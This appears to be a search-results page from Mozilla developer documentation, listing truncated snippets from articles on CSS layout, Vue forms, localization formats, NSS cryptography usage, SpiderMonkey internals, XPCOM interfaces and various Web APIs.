...lex to the parent, the three items now arrange themselves into columns. this is due to them becoming flex items and being affected by some initial values that flexbox sets on the flex container. they are displayed in a row, because the initial value of flex-direction set on their parent is row. they all appear to stretch to the height of the tallest item, because the initial value of the align-items property set on their parent is stretch. this means that the items stretch to the height of the flex container, which in this case is defined by the tallest item. the items all line up at the start of the container, leaving any extra space at the end of the row. flexbox example 1 * {box-sizing: border-box;} .wrapper > div { border-radius: 5px; background-color: rgb(207,232,220); ...
...And 7 more matches
Fundamental text and font styling - Learn web development
available on the machine the website is being accessed on; if not, it will just use a browser default font. a simple example looks like so: p { font-family: arial; } this would make all paragraphs on a page adopt the arial font, which is found on any computer. web safe fonts speaking of font availability, there are only a certain number of fonts that are generally available across all systems and can therefore be used without much worry. these are the so-called web safe fonts. most of the time, as web developers we want to have more specific control over the fonts used to display our text content. the problem is to find a way to know which font is available on the computer used to see our web pages. there is no way to know this in every case, but the web safe fonts are known to be av...
...called web safe fonts. most of the time, as web developers we want to have more specific control over the fonts used to display our text content. the problem is to find a way to know which font is available on the computer used to see our web pages. ...
...tent. the problem is to find a way to know which font is available on the computer used to see our web pages. there is no way to know this in every case, but the web safe fonts are known to be available on nearly all instances of the most used operating systems (windows, macos, the most common linux distributions, android, and ios). ...
...And 7 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
this is what we'll cover in this article. ...
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn about handling forms in vue, and by association, events, models, and methods. creating a new to-do form we now have an app that displays a list of to-do items. however, we can't update our list of items without manually changing our code! let's fix that. let's create a new component that will allow us to add a new to-do item. in your components folder, create a new file called todoform.vue. add a ...
... if you fill it out and click the "add" button, the page will post the form back to the server, but this isn’t really what we want. what we actually want to do is run a ...
...And 7 more matches
Introduction to cross browser testing - Learn web development
overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages. objective: to gain an understanding of the high-level concepts involved in cross browser testing. what is cross browser testing? cross browser testing is the practice of making sure that the web sites and web apps you create work across an acceptable number of web browsers. as a web developer, it is your responsibility to make sure th...
...e to run slowly, or display badly. for example, if a site has been designed to look nice on a desktop pc, it will probably look tiny and be hard to read on a mobile device. if your site includes a load of big animations, it might be ok on a high spec tablet, but might be sluggish or jerky on a low end device. and more reasons besides. in later articles, we'll explore common cross browser problems, and look at solutions to those. workflows for cross browser testing all of this cross browser testing business may sound time consuming and scary, but it needn't be — you just need to plan carefully for it, and make sure you do enough testing in the right places to make sure you don't run into unexpected problems. if you are working on a large project, you should be testing it regularly, to ...
... should work entirely in the last few versions of the most popular desktop and mobile (ios, android, windows phone) browsers — this should include chrome (and opera as it is based on the same rendering engine as chrome), firefox, ie/edge, and safari. it should also provide an acceptable experience on ie 8 and 9, and be accessible with wcag aa compliance. now you know your target testing platforms, you should go back and review the required featureset and what technologies you are going to use. for example, if the e-commerce site owner wants a webgl-powered 3d tour of each product built into the product pages, they will need to accept that this just won't work in ie versions before 11. you'd have to agree to provide a version of the site without this feature to users of older ie versions. ...
...And 7 more matches
Localization formats
html/php maybe you are designing a project that has relatively small translation needs like three to four lines (or more) of content asking users to update to the next version of software available. you may choose to present just the html for localization: we give an html file which lists several pieces of c...
...which many localizers who are familiar with linux and other projects understand mozilla has a basic tool called main.lang checker, which can show any untranslated files to the localizer no need to compile to .mo file so a localizer can see his/her changes more quickly creating simple diffs .lang files will be cached which will reduce any slowness effect disadvantage to .lang no plural forms no context for localizers unless you provide good comments no styling by localizers if it is needed may be slower because file is not compiled into binaries not used as a standard by any other localization project no tools to validate syntax, so a localizer may cause accidental errors that can cause breakage (level of breakage depends on level of error) cannot use po editor, which most loca...
...ther localization project no tools to validate syntax, so a localizer may cause accidental errors that can cause breakage (level of breakage depends on level of error) cannot use po editor, which most localizers know and love gettext (.po) gettext is a widely-used localization format that uses .po files. with this arrangement, content for localization is presented in the following manner: msgid "coming soon" msgstr "bientôt disponible" where the value in the "" of the msgid is the english content, and the value in the "" of the msgstr is the translation. msgstr can be longer translations than just the exact above. for example, below is the entire introduction used for a certificate that was presented to those who downloaded firefox during the download day campaign. the french con...
...And 7 more matches
Profiling with the Firefox Profiler
interface targeted towards web developers, but does not include as much information as the firefox profiler web app. it is available from the menu at tools > web developer > performance. understanding profiles the firefox profiler has more current documentation available at profiler.firefox.com/docs/. however the following could have some potentially useful information for gecko-specific problems. you can check out some frequently asked questions about the firefox profilers. reporting a performance problem has a step-by-step guide for obtaining a profile when requested by firefox developers. interface 1. timeline the timeline has several rows of tracing markers (colored segments) which indicate interesting events. hover over them to see more information. below the tracing markers ...
...ot included here. also note that this indicates what would have happened had there been an event waiting and not necessarily that there was an event pending for that long. black: these indicate synchronous ipc calls. ranges ranges of time can be zoomed in on by clicking and dragging anywhere in the tracing marker or thread areas. once a range is selected, a magnifying glass appears which zooms into that range. clicking on a tracing marker will create a selection corresponding with its duration allowing for easy zooming in on interesting time ranges. as you zoom in on ranges, breadcrumbs are created allowing you to easily navigate back to previously-selected ranges or the entire profile (denoted as "full range"). tip: while zooming out to a previously-selected range deletes the narrow...
...ed. tip: you can right-click on a function name to get an option to copy its name to the clipboard. a significant portion of time can be spent in idle, blocking calls like waiting for events. this is ideal for a responsive application to be ready to service incoming events. there are os-specific waiting functions like ntwaitformultipleobjects seen in the example above taken on windows or mach_msg_trap on macos. tip: you can quickly go deeper into the call tree by holding down your right arrow key. alternatively, expand an entire tree segment by holding alt and clicking on the arrow to the left of the collapsed tree segment. as we progress into a more specific part of the tree, you'll notice that the 'running time' decreases. this happens when a function has 2 or more non-trivial call...
...And 7 more matches
An overview of NSS Internals
a high-level overview to the internals of network security services (nss) software developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss). nss is a library written in the c programming language. it's free and open source software, and many other software projects have decided to use it. ...
...illa.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss). nss is a library written in the c programming language. it's free and open source software, and many other software projects have decided to use it. in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming. nss offers lots of functionality; we'll walk through the list of modules, design principles, and import...
...tion programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming. nss offers lots of functionality; we'll walk through the list of modules, design principles, and important relevant standards. in order to allow interoperability between software and devices that perform cryptographic operations, nss conforms to a standard called pkcs#11. (note that it's important to look at the number 11, as there are other pkcs standards with different numbers that define quite different topics.) a software or hardware module conforming to the pkcs#11 standard implements an interface of c calls, which allow querying the characteristics and offered services of the module. multiple elements of nss's own modules hav...
...And 7 more matches
nss tech note5
, this document does not attempt to be an exhaustive survey of all possible ways to do a certain task; it merely tries to show a certain way. encrypt/decrypt include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a cipher mechanism. note that some mechanisms (*_pad) imply the padding is handled for you by nss. if you choose something else, then data padding is the application's responsibility. you can find a list of cipher mechanisms in security/nss/lib/softoken/pkcs11.c - grep for ckf_en_de_. ck_mechanism_type ciphermech = ckm_des_cbc_pad <big>(for example)</big> choose a slot on which to to do the operation pk11slotinfo* slot = pk11_getbe...
...estroycontext(digestcontext, pr_true); you can also look at a sample program illustrating this hash / digest with secret key included include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a digest mechanism. you can find a list of digest mechanisms in security/nss/lib/softoken/pkcs11.c - grep for ckf_digest. ck_mechanism_type digestmech = ckm_md5 <big>(for example)</big> choose a slot on which to to do the operation pk11slotinfo* slot = pk11_getbestslot(digestmech, null); or pk11slotinfo* slot = pk11_getinternalkeyslot(); /* always returns int slot, may not be optimal */ prepare the key if using a raw key ...
...ext(digestcontext, pr_true); pk11_freesymkey(symkey); pk11_freeslot(slot); you can also look at a sample program illustrating this hmac include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a hmac mechanism. ...
...And 7 more matches
Bytecode Descriptions
ddenpropsetter operands: (uint32_t nameindex) stack: obj, setter ⇒ obj define an accessor property on obj with the given setter. this is used to implement ordinary setters like set foo(v) {}. obj must be an object and setter must be a function. jsop::inithiddenpropsetter is the same but defines a non-enumerable property, for setters in classes. format: jof_atom, jof_prop, jof_propinit initelemsetter, inithiddenelemsetter stack: obj, id, setter ⇒ obj define an accesssor property on obj with property key id and the given setter. this is used to implement setters with computed property keys or numeric keys. jsop::inithiddenelemsetter is the same but defines a non-enumerable property, for setters in classes. format: jof_elem, jof_propinit accessing properties getprop, callprop opera...
...s should begin. callee must be a function that has a homeobject that's an object, typically produced by jsop::callee or jsop::envcallee. implements: getsuperbase, except that instead of the environment, the argument supplies the callee. getpropsuper operands: (uint32_t nameindex) stack: receiver, obj ⇒ super.name get the value of receiver.name, starting the property search at obj. in spec terms, obj.[[get]](name, receiver). implements: getvalue for references created by super.name. the receiver is this and obj is the superbase of the enclosing method. format: jof_atom, jof_prop, jof_typeset, jof_ic getelemsuper stack: receiver, key, obj ⇒ super[key] get the value of receiver[key], starting the property search at obj. in spec terms, obj.[[get]](key, receiver). implements: getvalue f...
...](key, receiver). implements: getvalue for references created by super[key] (where the receiver is this and obj is the superbase of the enclosing method); reflect.get(obj, key, receiver). format: jof_elem, jof_typeset, jof_ic setpropsuper operands: (uint32_t nameindex) stack: receiver, obj, val ⇒ val assign val to receiver.name, starting the search for an existing property at obj. in spec terms, obj.[[set]](name, val, receiver). implements: putvalue for references created by super.name in non-strict code. the receiver is this and obj is the superbase of the enclosing method. format: jof_atom, jof_prop, jof_propset, jof_checksloppy strictsetpropsuper operands: (uint32_t nameindex) stack: receiver, obj, val ⇒ val like jsop::setpropsuper, but for strict mode code. format: jof_atom, jo...
...And 7 more matches
JIT Optimization Outcomes
ccess on a typed object. accessnotdense accessnotsimdobject the observed type of the target of the property access doesn't guarantee that it is an simd object. accessnottypedobject the observed type of the target of the property access doesn't guarantee that it is a typedobject. accessnottypedarray accessnotstring statictypedarrayuint32 statictypedarraycantcomputemask outofbounds getelemstringnotcached nonnativereceiver indextype setelemnondensenontanotcached nosimdjitsupport optimization failed because simd jit support was not enabled. simdtypenotoptimized the type observed as being retrieved from this property access did not match an optimizable type. unknownsimdproperty the property being accessed on the object is not one of the optimizable property names. hascommonin...
... cantinlinegeneric cantin...
... cantinlinegeneric cantinlineclassconstructor ca...
...And 7 more matches
Shell global objects
) on the specified string. the first call with a string argument sets the source buffer. subsequent calls without an argument then read from this buffer line by line. print([exp ...]) evaluate and print expressions to stdout. printerr([exp ...]) evaluate and print expressions to stderr. putstr([exp]) evaluate and print expression without newline. datenow() return the current time with sub-ms precision. help([name ...]) display usage and help messages. quit() quit the shell. asserteq(actual, expected[, msg]) throw if the first two arguments are not the same (both +0 or both -0, both nan, or non-zero and ===). starttimingmutator() start accounting time to mutator vs gc. stoptimingmutator() stop accounting time to mutator vs gc and dump the results. throwerror() throw an err...
...ger standard classes, if (s == 'lazy' && !o) return new o with lazy standard classes evalinworker(str) evaluate str in a separate thread with its own runtime. getsharedarraybuffer() retrieve the sharedarraybuffer object from the cross-worker mailbox. the object retrieved may not be identical to the object that was installed, but it references the same shared memory. getsharedarraybuffer performs an ordering memory barrier. setsharedarraybuffer() install the sharedarraybuffer object in the cross-worker mailbox. setsharedarraybuffer performs an ordering memory barrier. shapeof(obj) get the shape of obj (an implementation detail). groupof(obj) get the group of obj (an implementation detail). unwrappedobjectshavesameshape(obj1, obj2) returns true iff obj1 and obj2 have the same shape...
... its cached content. the cache entry is filled and read by the evaluate function by using it in place of the source, and by setting savebytecode and loadbytecode options. printprofilerevents() register a callback with the profiler that prints javascript profiler events to stderr. callback is only registered if profiling is enabled. enablesinglestepprofiling() this function will fail on platforms that don't support single-step profiling (currently everything but arm-simulator). when enabled, at every instruction a backtrace will be recorded and stored in an array. adjacent duplicate backtraces are discarded. disablesinglestepprofiling() return the array of backtraces recorded by enablesinglestepprofiling. enablespsprofiling() enables sps instrumentation and corresponding assertions, w...
...And 7 more matches
Places utilities for JavaScript
anode - the bookmark aiid - the return interface wanted. there are several predefined versions of this for common calls. these just take in the node, as the interface is already defined: asvisit(anode) asfullvisit(anode) ascontainer(anode) asquery(anode) annotations a few annotation names are defined here. load_in_sidebar_anno - this annotation is associated with bookmarks or items that should load in the sidebar automatically. description_anno - this annotation stores description information about a bookmark. post_data_anno - i need to clarify here, but i think this is the name of the annotation that stores information for keyword searches from a bookmark. lmanno_feeduri - need to clarify here too, but i think for each livemark, there is an bookmark which contains an an...
...en split into: placesutils: can be used in any toolkit application placesuiutils: only in firefox placesutils this is a gigantic object full of usefulness if you need to do any bookmark work from within browser.xul. as such, it gets its own special section. ...
...tindexofnode(nsinavhistoryresultnode anode); string wrapnode(nsinavhistoryresultnode anode, string atype, nsiuri aoverrideuri); array unwrapnodes(string blob, string atype); nsitransaction maketransaction(string data, string type, nsinavhistoryresultnode container, int index, boolean copy); nsinavhistoryresult getfoldercontents(int afolderid, boolean aexcludeitems, boolean aexpandqueries); boolean showaddbookmarkui(nsiuri auri, string atitle, string adescription, int adefaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword, string apostdata); boolean showminimaladdbookmarkui(nsiuri auri, string atitle, string adescription, int adefaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword,...
...And 7 more matches
nsIAccessibleRole
le this interface defines cross platform (gecko) roles. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) constants constant value description role_nothing 0 used when accessible has no strong defined role. role_titlebar 1 represents a title or caption bar for a window. it is used by msaa only, supported automatically by ms windows. role_menubar 2 represents the menu bar (positioned beneath the title bar of a window) from which menus are selected by the user. the role is used by xul:menubar or role="menubar". role_scrollbar 3 represents a vertical or horizontal scroll bar, which is part of the client area or used in a control. role_grip 4 represents a special mouse pointer...
...ter. role_caret 7 represents the system caret. the role is supported for caret. role_alert 8 represents an alert or a condition that a user should be notified about. assistive technologies typically respond to the role by reading the entire on screen contents of containers advertising this role. should be used for warning dialogs, etc. the role is used by xul:browsermessage, role="alert", xforms:message. role_window 9 represents the window frame, which contains child objects such as a title bar, client, and other objects contained in a window. the role is supported automatically by ms windows. role_internal_frame 10 a sub-document or iframe. role_menupopup 11 represents a menu, which presents a list of options from which the user can make a selection to perform an action. it is use...
...lication. it is used for role="application". also refer to role_app_root. role_document 15 represents a document window. a document window is always contained within an application window. it is used for role="document". role_pane 16 represents a pane within a frame or document window. users can navigate between panes and within the contents of the current pane, but cannot navigate between items in different panes. thus, panes represent a level of grouping lower than frame windows or documents, but above individual controls. it is used for the first child of a or iframe. role_chart 17 represents a graphical image used to represent data. role_dialog 18 represents a dialog box or message box. it is used for xul:dialog, role="dialog". role_border 19 represents a window border. role_...
...And 7 more matches
nsIDOMXULElement
dom/interfaces/xul/nsidomxulelement.idlscriptable represents a xul element within the dom. 66 introduced gecko 1.0 inherits from: nsidomelement last changed in gecko 1.9 (firefox 3) method overview void blur(); void click(); void docommand(); void focus(); nsidomnodelist getelementsbyattribute(in domstring name, in domstring value); nsidomnodelist getelementsbyattributens(in domstring namespaceuri, in domstring name, in domstring value); attributes attribute type description align domstring gets/sets the value of the element's align attribute. allowevents boolean true if the element's allowevents attribute is the string "true", otherwise false. removes the attribute if you set it to false. boxobject nsiboxobject read only. gets or cr...
... boxobject nsiboxobject read only. gets or creates a box object for the element; browser, editor, iframe, listbox, menu, menupopup, scrollbox, tooltip and tree elements receive specialized box objects allowing access to additional properties not normally available from script. builder nsixultemplatebuilder read only. retrives the element's template builder, if it has a template. classname domstring gets/sets the value of the element's class attribute. collapsed boolean true if the element's collapsed attribute is the string "true", otherwise false. removes the attribute if you set it to false. contextmenu domstring gets/sets the value of the element's contextmenu attribute. controllers nsicontrollers read only. returns an nsicontrollers object that additional controllers may be a...
... to false. contextmenu domstring gets/sets the value of the element's contextmenu attribute. controllers nsicontrollers read only. returns an nsicontrollers object that additional controllers may be appended to so as to provide focus-specific actions for commands. database nsirdfcompositedatasource read only. returns the template builder's database, if it is an rdf template. datasources domstring gets/sets the value of the element's datasources attribute. dir domstring gets/sets the value of the element's dir attribute. flex domstring gets/sets the value of the element's flex attribute. flexgroup domstring gets/sets the value of the element's flexgroup attribute. height domstring gets/sets the value of the element's height attribute. hidden boolean true if the element's hid...
...And 7 more matches
Index
o create a new one the next time, mozilla mail will "cache" the compose window on send (or close), and use that instead. the downsides are that we have had some bugs, it complicates and bloats the code, and it requires more testing. the upside is that is has been a major performance win why did you do this? back 0.9.7, we hit a wall with the compose window. any new window performance problems that mozilla has are especially painful in mail compose, as we need to create a new compose window on every new mail message or reply. but we noticed that the common usage pattern is to compose, send, compose, send, compose send. we decided it would be worth the trouble to cache the compose window. if the user has this usage pattern, we wouldn't have to create a new window. we could just h...
...essage query thunderbird 3, thunderbird this page describes how to programmatically create a message query using gloda, thunderbird's global database. see the gloda page for background on the component. see gloda examples for more code samples. 20 db views (message lists) mailnews, thunderbird the thread pane (aka message list) is driven by classes that implement nsimsgdbview and inherit from nsmsgdbview. these are the main view classes: 24 events there are a lot of events that can be fired in mail code. some of these are standard events, such as those created by the dom. others are internal to gecko or other parts of mozilla application code. this reference will help you track those events down and learn how to use them. 25 fil...
..., such as those created by the dom. others are internal to gecko or other parts of mozilla application code. this reference will help you track those events down and learn how to use them. 25 filelink providers thunderbird filelink is a thunderbird feature that makes it easy for users to upload large attachments to web-based storage services such as hightail. 26 nsimsgcloudfileprovider nsimsgcloudfileprovider is the interface that must be implemented by new filelink providers. 27 folder pane interfaces this page contains a list of the interfaces that you'll will most likely use when writing extensions that affect the folder pane. see working with the folder pane for examples and code snippets. 28 gloda thunderbir...
...And 7 more matches
Mozilla
ey with ubsan 1. compile a recent version of llvm & clang. c++ portability guide this document has migrated to using c++ in mozilla code. choosing the right memory allocator there are a lot of different memory allocators in the mozilla source tree. this article looks over some of them and tries to sort out which should be used under what circumstances. chrome registration chrome is the set of user interface elements of the application window that are outside the window's content area. toolbars, menu bars, progress bars, and window title bars are all examples of elements that are typically part of the chrome. command line options command line opt...
... open the command line interface by pressing shift + f2. continuous integration when you push a commit to mozilla-central or a related repository, it initiates a large chain of builds and tests across multiple types of infrastructure. this document will help you understand all the pieces that comprise mozilla's continuous integration systems. cookies in mozilla suggestions as to needed documentation can be directed to mike connor. cookies preferences in mozilla these preferences apply to most mozilla products (including firefox and seamonkey), however they are application-specific, so not all of them may apply to you. the default values given are for firefox 3. ...
... users: the social api and an extension. you can choose either depending on your needs and resources. creating a language pack to create a language pack, or a localization repack, you first need to go through the initial setup process. creating a localized windows installer of seamonkey preamble: not all of the programs listed below are necessary. some of them are simply the ones i use because i like them, while others are scripts that i've created to speed up the work. you can in every case choose the program you prefer to do some operations, and you can also decide not to use any of my scripts and manually enter all of the commands by hand. it's your choice! creating a login ...
...And 7 more matches
Index - Firefox Developer Tools
se needs attention. this article takes you through the main features of the accessibility inspector and how to use it. 4 color vision simulation accessibility, accessibility inspector, color blindness, devtools, guide, simulation, tools the simulator in the accessibility inspector in firefox developer tools lets you see what a web page would look like to users with various forms of color vision deficiency (better known as "color blindness"), as well as contrast sensitivity loss. 5 add-ons web development, web development:tools developer tools that are not built into firefox, but ship as separate add-ons. 6 dom inspector dom, dom:tools, dom_inspector, extensions, extensions:tools, themes, themes:tools, tools, web development, web develo...
... 8 dom inspector internals code, tools, internals, organisation, source there are three main facets to dom inspector. the one you are likely to be most familiar with is its inspector.xul-based primary ui. this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed from one of the applications for which dom inspector has explicit support (i.e., menuitems placed via overlay). 9 introduction to dom inspector dom_inspector the dom inspector is a mozilla extension that you can access from the tools > web development menu in seamonkey, or by selecting the dom inspector menu item from the tools menu in firefox and thunderbird, or by using ctrl/cmd+shift+i in either application. dom inspector is standalone; it supports all toolkit a...
...eate and use objects, and when the objects are no longer needed, the runtime takes care of cleaning up, and frees the memory the objects occupied. 42 dominators view starting in firefox 46, the memory tool includes a new view called the dominators view. this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects themselves plus the size of the objects that they keep alive through references. 43 monster example this article describes a very simple web page that we'll use to illustrate some features of the memory tool. 44 tree map view the tree map view provides a visual representation of the snapshot, that helps you quickly get an idea of which objects are using the m...
...And 7 more matches
BasicCardResponse - Web APIs
dress read only secure context optional contains the billing address of the card used to make the payment. examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object containing further options. the first of these three (supportedinstruments in the example below) contains a data property that has to conform to the structure defined by the basiccardrequest dictionary. var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', ...
...ure defined by the basiccardrequest dictionary. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 7 more matches
FileReaderSync - Web APIs
available in workers as it enables synchronous i/o that could potentially block. properties this interface does not have any properties. methods filereadersync.readasarraybuffer() this method converts a specified blob or a file into an arraybuffer representing the input data as a binary string. filereadersync.readasbinarystring() this method converts a specified blob or a file into a domstring representing the input data as a binary string. this method is deprecated, consider using readasarraybuffer() instead. filereadersync.readastext() this method converts a specified blob or a file into a domstring representing the input data as a text string. the optional encoding parameter indicates the encoding to be used (e.g., iso-8859-1 or utf-8). if not present, the method will apply a...
... specifications specification status comment file apithe definition of 'filereadersync' in that specification. working draft initial definition. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 7 more matches
HTMLObjectElement - Web APIs
7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlobjectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. ...
...iv> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlobjectelement.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", "justify", and "center". htmlobjectelement.archive is a domstring that reflects the archive html attribute, containing a list of archives for resources for this object. ...
...t.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", "justify", and "center". htmlobjectelement.archive is a domstring that reflects the archive html attribute, containing a list of archives for resources for this object. htmlobjectelement.border is a domstring that reflects the border html attribute, specifying the width of a border around the object. htmlobjectelement.code is a domstring representing the name of an applet class file, containing either the applet's subclass, or the path to get to the class, including the class file itself. ...
...And 7 more matches
IDBFactory - Web APIs
ple in the following code snippet, we make a request to open a database, and include handlers for the success and error cases. for a full working example, see our to-do notifications app (view example live.) // in the following line, you should include the prefixes of implementations you want to test. ...
...line, you should include the prefixes of implementations you want to test. window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function. ...
...ndow.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function. ...
...And 7 more matches
PasswordCredential - Web APIs
ial member of the init object for global fetch. note: this interface is restricted to top-level contexts and cannot be used from an <iframe>. constructor passwordcredential()secure context creates a new passwordcredential object. properties inherits properties from its ancestor, credential. passwordcredential.additionaldata secure context one of a formdata instance, a urlsearchparams instance, or null. the data in the objects will be added to the request body and sent to the remote endpoint with the credentials. passwordcredential.iconurl read only secure context a usvstring containing a url pointing to an image for an icon. this image is intended for display in a credential chooser. the url must be accessible without authentication. passwordcredential.idname secure conte...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... opera full support yessafari ? webview android full support 51chrome android full support 51firefox android ? opera android ? safari ios ? samsung internet android full support 5.0passwordcredential() constructor non-standardchrome full support 51edge full support ≤79firefox ? ie ? opera ? safari ? ...
...And 7 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
a, without actually having the ability to move the user around the scene. there are a few articles about the fundamental math, geometry, and other concepts behind webgl and webxr which may be useful to read before or while reading this one, including: explaining basic 3d theory matrix math for the web webgl model view projection geometry and reference spaces in webxr ed. note: most diagrams used in this article to show how the camera moves while performing standard movements was taken from an article on the filmmakeriq web site; namely, from this image which is found all over the web, however, and though we assume these are under a permissive license due to their frequent reuse, ownership is not certain. we hope that it's freely usable; if not, and you're the owner, please let us kn...
...amera moves while performing standard movements was taken from an article on the filmmakeriq web site; namely, from this image which is found all over the web, however, and though we assume these are under a permissive license due to their frequent reuse, ownership is not certain. we hope that it's freely usable; if not, and you're the owner, please let us know and we'll find or produce new diagrams. or, if you're happy to let us continue to use the images, please let us know so we can credit you properly! cameras and relative movement when a classic live-action movie is filmed, the actors are on a set and move about the set as they perform, with one or more cameras watching their moves. the cameras may be fixed in place, but they may also be set up to move around as well, tracking the mov...
...ll not correspond with an object that appears in the scene at all. some examples of ways 3d cameras are used: when rendering animation—whether for filmmaking or for use within the context of a presentation or game—the virtual camera is used just like a real-world film camera. as much as possible, standard cinematographic techniques are used, since the viewer has likely grown up watching films using those techniques, and has subconscious expectations that a film or animation will follow those methods. deviating from them can pull the viewer out of the moment. in business applications, the 3d camera is used to simply set the apparent size and perspective when rendering things such as graphs and charts. in mapping applications, the camera may either be placed directly over the scene, o...
...And 7 more matches
WritableStream - Web APIs
this object comes with built-in backpressure and queuing. constructor writablestream() creates a new writablestream object. properties writablestream.locked read only a boolean indicating whether the writablestream is locked to a writer. methods writablestream.abort() aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded. writablestream.close() closes the stream. ...
...hen calls a function called sendmessage(), passing the newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defa...
...e more data (line 9) or call close() (line 24). calling close() too early can prevent data from being written. this is why the example calls defaultwriter.ready twice (lines 9 and 22). the promise returned by the sink's write() method (line 40) tells the writablestream and its writer when to resolve defaultwriter.ready. specifications specification status comment streamsthe definition of 'writablestream' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid w...
...And 7 more matches
Cognitive accessibility - Accessibility
d issues with thinking and remembering. the range includes people with mental illnesses, such as depression and schizophrenia. it also includes people with learning disabilities, such as dyslexia and attention deficit hyperactivity disorder (adhd). though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a common set of functional problems. these problems include difficulty with understanding content, remembering how to complete tasks, and confusion caused by inconsistent or non-traditional web page layouts. in this document, we focus on steps developers should take to improve the cognitive accessibility of their web sites and applications. overview cognitive and intellectual disabilities cover a large spectrum, and may be moment...
... wcag guidelines wcag, web content accessibility guidelines, includes several guidelines to improve cognitive accessibility. these guidelines are published by the web accessibility initiative (wai) of the world wide web consortium (w3c), the main international standards organization for the internet. this group is al...
...omplete tasks. guideline 2.2 states "provide users enough time to read and use content." a time limit is any process that happens without user initiation after a set time or on a periodic basis, such as being logged out after 30 minutes or having 15 minutes to make a purchase. people with cognitive disabilities may require more time to read content, or to perform functions such as filling out forms. solutions include providing users enough additional time to complete tasks or eliminate time constraints altogether. timers options for adjusting time requirements include: allowing the user to turn off or adjust the time to at least 10 times the original limit before encountering it. alerting the user and providing a buffer of at least 20 seconds to extend the timeout duration by a...
...And 7 more matches
Box alignment in grid layout - CSS: Cascading Style Sheets
the box alignment specification details how alignment works in various layout methods. on this page we explore how box alignment works in the context of css grid layout. as this page aims to detail things which are specific to css grid layout and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods. basic example in this example using grid layout, there is extra space in the grid container after laying out the fixed width tracks on the inline (main) axis. this space is distributed using justify-content. ...
...it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods. basic example in this example using grid layout, there is extra space in the grid container after laying out the fixed width tracks on the inline (main) axis. this space is distributed using justify-content. on the block (cross) axis the alignment of the items inside their grid areas is controlled with align-items. the first item overrides the align-items value set on the group by setting align-self to center. grid axes as a two-dimensional layout method, when working with grid layout we always have two axes on which to align our items. we have access to all of the box alignment properties to help us achieve this. the inline axis is the axis that ...
